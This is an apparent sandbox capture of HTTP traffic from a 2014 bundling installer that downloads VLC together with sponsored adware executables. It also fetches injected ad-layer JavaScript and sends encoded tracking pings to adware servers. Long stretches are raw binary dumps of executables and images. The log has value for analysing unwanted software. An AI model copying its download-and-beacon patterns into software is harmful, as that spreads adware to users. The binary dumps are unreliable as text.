...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................
<<< skipped >>>


GET /pca3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.verisign.com




HTTP/1.1 200 OK

Server: Apache

ETag: "8f6b3bcd9bb64555001fba64f5b01b92:1411517716"

Last-Modified: Wed, 24 Sep 2014 00:15:16 GMT

Date: Wed, 17 Dec 2014 16:47:48 GMT

Content-Length: 933

Connection: keep-alive

Content-Type: application/pkix-crl
0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U
....Class 3 Public Primary Certification Authority..140922000000Z..141
231235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y
.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.....
..fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R
.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....
u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2..
..{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N
....* [email protected]!..Y......w
`G........070411175657Z0!..Z`[email protected].*q..080403172017Z0!..l....I..
.Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1
..7<.....e..010207211822Z0...*.H............M....s#..Lo...TU...tM.3
...'.U......:Z...w.x.=....K.0;...!....D....9...,!....B.t. <........
..-.....k.$<i{O.<.E...*.......Ow _..J.HTTP/1.1 200 OK..Server: A
pache..ETag: "8f6b3bcd9bb64555001fba64f5b01b92:1411517716"..Last-Modif
ied: Wed, 24 Sep 2014 00:15:16 GMT..Date: Wed, 17 Dec 2014 16:47:48 GM
T..Content-Length: 933..Connection: keep-alive..Content-Type: applicat
ion/pkix-crl..0...0...0...*.H........0_1.0...U....US1.0...U....VeriSig
n, Inc.1705..U....Class 3 Public Primary Certification Authority..1409
22000000Z..141231235959Z0..x0!...v....a_>..2......020924164823Z0!..
...A.....{2..Y.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0
!...`y..q.......fh...020923171400Z0!...?A....a.nF`.P....0209231715
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=72970-145940

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 72971

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 72970-145940/291880
....^]..(w...........A.;.t....y..u.^]..q...F..A...U....v..........t..M
[email protected].@].3.].U.....SVW..E.3.PPP.u..u..u..u..u........ .E._^[.E
...].j h.MC...f..3..]....u...tph....VSS.E.P..........t....t..."u.SSSSS
..A..j..u..8...YY....u.3..g...j.V.u.WS..........t....t..."t...t.W.B...
Y..W.u.V.K......].W.*........t...u...E..Hl.M..Hh.M.3..}..E.PWSWW.E.P..
........t....t..."u.WWWWW.V.......e....E....P.....Y...}.....K...._..].
.E.Pj..u..u.Sj...........t....t..."u.3.PPPPP.........5....}.j......Y.e
[email protected]&...zC..u..D....t.P....B...u.
.t...!...Y...M....L...\...E............._e....].j..f...Y.U..V.u..<.
`uC..u.V.q...Y..u.j...b..Y.4.`uC.....B.^].VW.`uC...S....t.....t.S....B
.S......'.Y......vC.|.[.>.t..~..u..6....B.......vC.|._^.j.h.MC..yd.
..=..C..u..`f..j...f..h.....ba..YY.}..<.`uC..u[j..1...Y....u..>.
........3..Aj......Y.e...<.`uC..u.h....V..0.B..4.`uC...V.....Y.E...
[email protected].`uC....C..~..u..>h.....6.....0.B.......
vC.|.3._@^.U...E..4.`uC.....B.].j.hHNC...c...E...tr.8csm.uj.x..ud.x. .
..t..x.!...t..x."...uI.H...tB.Q...t'.e..R.p.......E......%3.8E......e.
[email protected]...^].......B..$...U
..V......B.......E..t.V.K...Y..^]...j0h.NC...b...E..E.3..]..}..G..E..u
..v..E.P.....YY.E..Cr.........E..5r.........E..'r..........r...M......
..][email protected] .u..u..u.W.=.......E..].......u......Y..e...q..3......
..U..}..z.........O....O..M..B..E....E.9B.v?..k...z.;L>..}.~%.U.;L.
[email protected][email protected].;B.r.QRSW.........]..]..u..E...
<<< skipped >>>


GET /script/layer?pid=14567725608&ln=en HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:44:58 GMT

Content-Type: application/javascript

Content-Length: 122428

Vary: Accept-Encoding

Etag: "fccf230ef7fb31b7da52e9a40f6577a4fd59a69f"

Cache-Control: public, max-age=3600

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.String.prototype.startsWith = function(str).{return (th
is.match("^" str)==str)}.if (!("classList" in document.documentElement
) && Object.defineProperty && typeof HTMLElement !== 'undefined') {.Ob
ject.defineProperty(HTMLElement.prototype, 'classList', {.get: functio
n() {.var self = this;.function update(fn) {.return function(value) {.
var classes = self.className.split(/\s /),.index = classes.indexOf(val
ue);.fn(classes, index, value);.self.className = classes.join(" ");.}.
}.var ret = {.add: update(function(classes, index, value) {.~index || 
classes.push(value);.}),.remove: update(function(classes, index) {.~in
dex && classes.splice(index, 1);.}),.toggle: update(function(classes, 
index, value) {.~index ? classes.splice(index, 1) : classes.push(value
);.}),.contains: function(value) {.return !!~self.className.split(/\s 
/).indexOf(value);.},.item: function(i) {.return self.className.split(
/\s /)[i] || null;.}.};.Object.defineProperty(ret, 'length', {.get: fu
nction() {.return self.className.split(/\s /).length;.}.});.return ret
;.}.});.}.if (!("watch" in document.documentElement) && Object.defineP
roperty && typeof HTMLElement !== 'undefined') {.Object.defineProperty
(HTMLElement.prototype, "watch", {.enumerable: false., configurable: t
rue., writable: false., value: function (prop, handler) {.var.oldval =
 this[prop]., newval = oldval., getter = function () {.return newval;.
}., setter = function (val) {.oldval = newval;.return newval = handler
.call(this, prop, oldval, val);.}.;.if (delete this[prop]) { // ca
<<< skipped >>>

GET /script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.34117011861371365&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&dm=VVV.youtubeaccelerator.com&subid=ECHwsmtycl1-eb48a9ab-49f6-4199-935d-4935ca672341&um=Powered by Shopper-Pro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:45:01 GMT

Content-Type: application/javascript

Content-Length: 17423

Vary: Accept-Encoding

Etag: "2812550d741dde55369772235fc6544841a35193"

Cache-Control: public, max-age=360

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

Set-Cookie: visadd_gry_lock_count=--; Path=/

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.visadd.texts = {.flip_back: 'Flip Back'.}.visadd.settin
gs = {.monitor_url_change: false,strip_max_images: -1,lock_count_time:
 3600000,shopping_agresive: false,validate_blacklist: true,layer_style
: '.img.visadd_indic{    height: 35px;    position: absolute;    left:
 5px;    top: 5px;    width: auto;    z-index: 999;    background: non
e repeat scroll 0 0 transparent !important;    border: 0 none !importa
nt;    box-shadow: none !important; }\....indic_hover_only { display:n
one }\....indic_hover_only: hover { display:block }\....visadd_layer {
 display: none;  position: absolute; z-index: 2147483647; }\....visadd
_image_container{    float: left;.margin: 0 10px 0px 0 !important;    
height: auto;    overflow: hidden;} \....ab_visadd_image_container{   
 float: right !important; .margin: 0 !important;    } \....right_visad
d_image_container{    float: right !important; .margin: 0 0 0 10px !im
portant; } \....ab_visadd_image_wrap{    float: left;.margin: 0 10px 2
px 0 !important;    max-height: 200px;    height: auto;    overflow: h
idden;    position: relative;}\....ab_visadd_image_wrap img {.padding:
 0 !important;.border: none !important; margin: 0 !important; }\....vi
sadd_image_credit { .width: 100%;.z-index: 999;.margin-top: 3px;}\....
visadd_image_credit a:hover{    color: #ccc;    display: block;    fon
t-size: 11px;    text-align: center;    text-decoration: none;    floa
t:left;    padding-right: 10px;       text-shadow: 1px 1px 1px #e1e1e1
;}\....visadd_image_credit a{    color: #ccc;    display: block;  
<<< skipped >>>


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=19801566-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 2828795

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 19801566-22630360/22630361
......1..u..1.)A.v.85%....L..{....%.%.J...`.'2.....,..w...........*.$.
,.k.:....8.lA...G..g..".....g5m).J.]..a.._;..............0.t......&.{.
....r..uC....-&..1.V.A.O.Pg..B5.791.ln...Y.ZX Y...x..>.E.F.::.ar..e
.!.C...Sx<b.W......,t=..N........v...D.r.u..$.oy.u.....b..\J......`
[email protected]<,S.......S.p.p"cw. .W.._.........Ct..'.m....y0.
lx..........9k(=Be....$....M..vd.V..........;@...$#j.n<I..W.......t
..G...B.../...........lC.... h.....[.VXU.eAy)RL........K.Ib0...}LA.W..
.FSG..7....0.>j......83.....#J.v.........4..b;o.9..T......$a.....t.
q.'t.J..R.6.........>.@C.... _.........(..e.yC3.4......qkz.. ./$...
..L7|Pa...gRG...Y...^Z..E'.L..d...Wg.$......n$g..0h.......;n.7".N..)r.
.X-t....M......./...."M.u)'^.m.[..3..Dg...r..j..).]..U ..A...U7DlU&u..
H.5}G........K...D6.vm.|{...!rFj.a.k..}..3y.e... ...!#K..'QE8..^....Y.
..h.<..<...3.........U..T......7...[ )jJ.8...>.i..T#.3..O....
D.I.m.)%....O.#...?N|......>[email protected])....3V..].;..2...E.N....S
..y...o..a;..}.%6.%~.....N.<....:Yo..._.M.... \...qe..K..,A%.?.4...
.....H.o..S0 ..j..-........D...{V.Y.d......^..X...|.8/#....7.*....[...
[email protected]. .R..,..a..3P...}.fM..W~..R...7.A.....DB36'..
Q.........K...-..Pp.3.n...(.3.}-u{.........q...%.(...x...djf..o..f..s.
.A'........rw...ZV.l.1e."...p....].>..5..?..D.1..#...0.J..|.1...6..
 K..y!.JB..;8.K.....vbG..C.F.(b.m .G.w.n,.....]e..#".F]@...K..6.&k.."s
C......5.`...-h5.3....>..E.........Vy..?s....A. b...0....9. ...@...
...y6E....Z>.*.l8.'...P.........:.(q.n.N.[...0j.].V.&y).....Voe
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEGYj+vysNXV3ox2QweVn6ac= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.comodoca.com




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:47:24 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Wed, 17 Dec 2014 08:29:30 GMT

Expires: Sun, 21 Dec 2014 08:29:30 GMT

ETag: 9172FBEF6F601283D0EF5B5DD7845F9F2DE6BC77

Cache-Control: max-age=315125,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp6

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........,}...h|%....?......2014121
7082930Z0s0q0I0... .........%.6..Ga....e............,}...h|%....?.....
.f#...5uw.....g......20141217082930Z....20141221082930Z0...*.H........
.....Q..#...M..,.-FdE..m..0.b......wG...#.B........@f./....?..r.V... Q
u.....K.......=.....?..11c.l....^.A\.>.....,.....z..^2.c..w..N=.x..
..........,....^.uGo.^..x..E@.."^..k.....*5.C.....?E G..Y..X..Z..#.a3.
7.d.`.;.D.`.K](.t..6..HB....T....x......m..$<F...O.M.A..


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=3&index_in_screen=1&index_in_session=3&0.36827897577138213 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmc=1; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:08 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:08 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /app/ping.ashx?e=c0XmKevqA0l7JuQ3F68GrO2XM2UCfZ8r 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4TgI5pw2HgQ8TPV3XDU/k0dnXw6eRR27vEQ5JRrthzer 1KrJEVAOY1CjWeJCGbPq69t7URjkW8n8B/cb 8aPyTn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC7EsItMr GkVYeeO3me1TXb8laP0DHoGQ8kwdvOTMYPJxW20GZ81oXcWMQ1BN/ Lt4sKLU3NDKjiEPV6TLtyTTjiZex9KrXTvPUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoEuGoedNVFAuIR1sKxPFdTd7QBcKmNc5tY6f98gm7saKMhRptWjULtRfzcBrRIr7Ip0gS0N4Pl i/2xIh3zf/ts2VPZs3hiCxtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoFjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrj1lJgqVkxwaVi33qPwefc AZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WErU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX4goCl3U8undjp/3yCbuxooyFGm1aNQu1F/NwGtEivsiYYB6XaVMe6TH/jy8G4FGJY4SiD403Los HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEr lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPik87QqvLdcywtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hAFKvbxhXJ8 DxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=KC46TpkJIZxD761tAXRB5R3DZvRfP/q4QN2G3STfV1oSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EifxLeSbH0YYLCV719WrTxq4ZvM W8i8tdtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl649ZSYKlZMcGlYt96j8Hn3PgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=ZfTZC8DxP8aHIN QbXyGnoof1a cs8I52YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEpV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgXVpi/XAxgNiFazLZl BNqb5m5B1SgRIyasBC0rq0OgbqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx21587que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcRo3cRBFio 4Dg1XhGFT0vPfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 20
14 16:43:40 GMT..Content-Length: 0..


GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d230jbvc0l4zpn.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Wed, 17 Dec 2014 16:12:47 GMT

Last-Modified: Wed, 17 Dec 2014 11:15:15 GMT

ETag: "549165c3-d66"

Expires: Wed, 17 Dec 2014 16:22:47 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 272

X-Cache: Hit from cloudfront

Via: 1.1 3e434cbab821b92a12d7ee3276f16682.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BYfzkM510OAEf5qYi5_Z427qKk-UAGGdvIxfXxueOel4h-SxAIXC5Q==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d230jbvc0l4zpn.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 14 Dec 2014 04:52:10 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 14 Dec 2014 05:02:10 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 169

X-Cache: Hit from cloudfront

Via: 1.1 3e434cbab821b92a12d7ee3276f16682.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sidtdVZqTMTFA_Unt8BW4bzqMmttRWbRcnZy_GUdio4z_ssFJroDaQ==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.newinputinfoservice.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:44:47 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1418614050"

Last-Modified: Mon, 15 Dec 2014 03:27:30 GMT

Cache-Control: max-age=2682

Content-Length: 14306184

Content-Type: application/x-msdownload

X-HW: 1418834687.dop001.fr7.t,1418834687.cds034.fr7.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@...........................
......r......... ..............................p......................
.9....................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]...`....... [email protected]......
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:26 GMT

Date: Wed, 17 Dec 2014 16:43:26 GMT

Content-Range: bytes 0-583407/583408

Content-Length: 583408

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................X........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
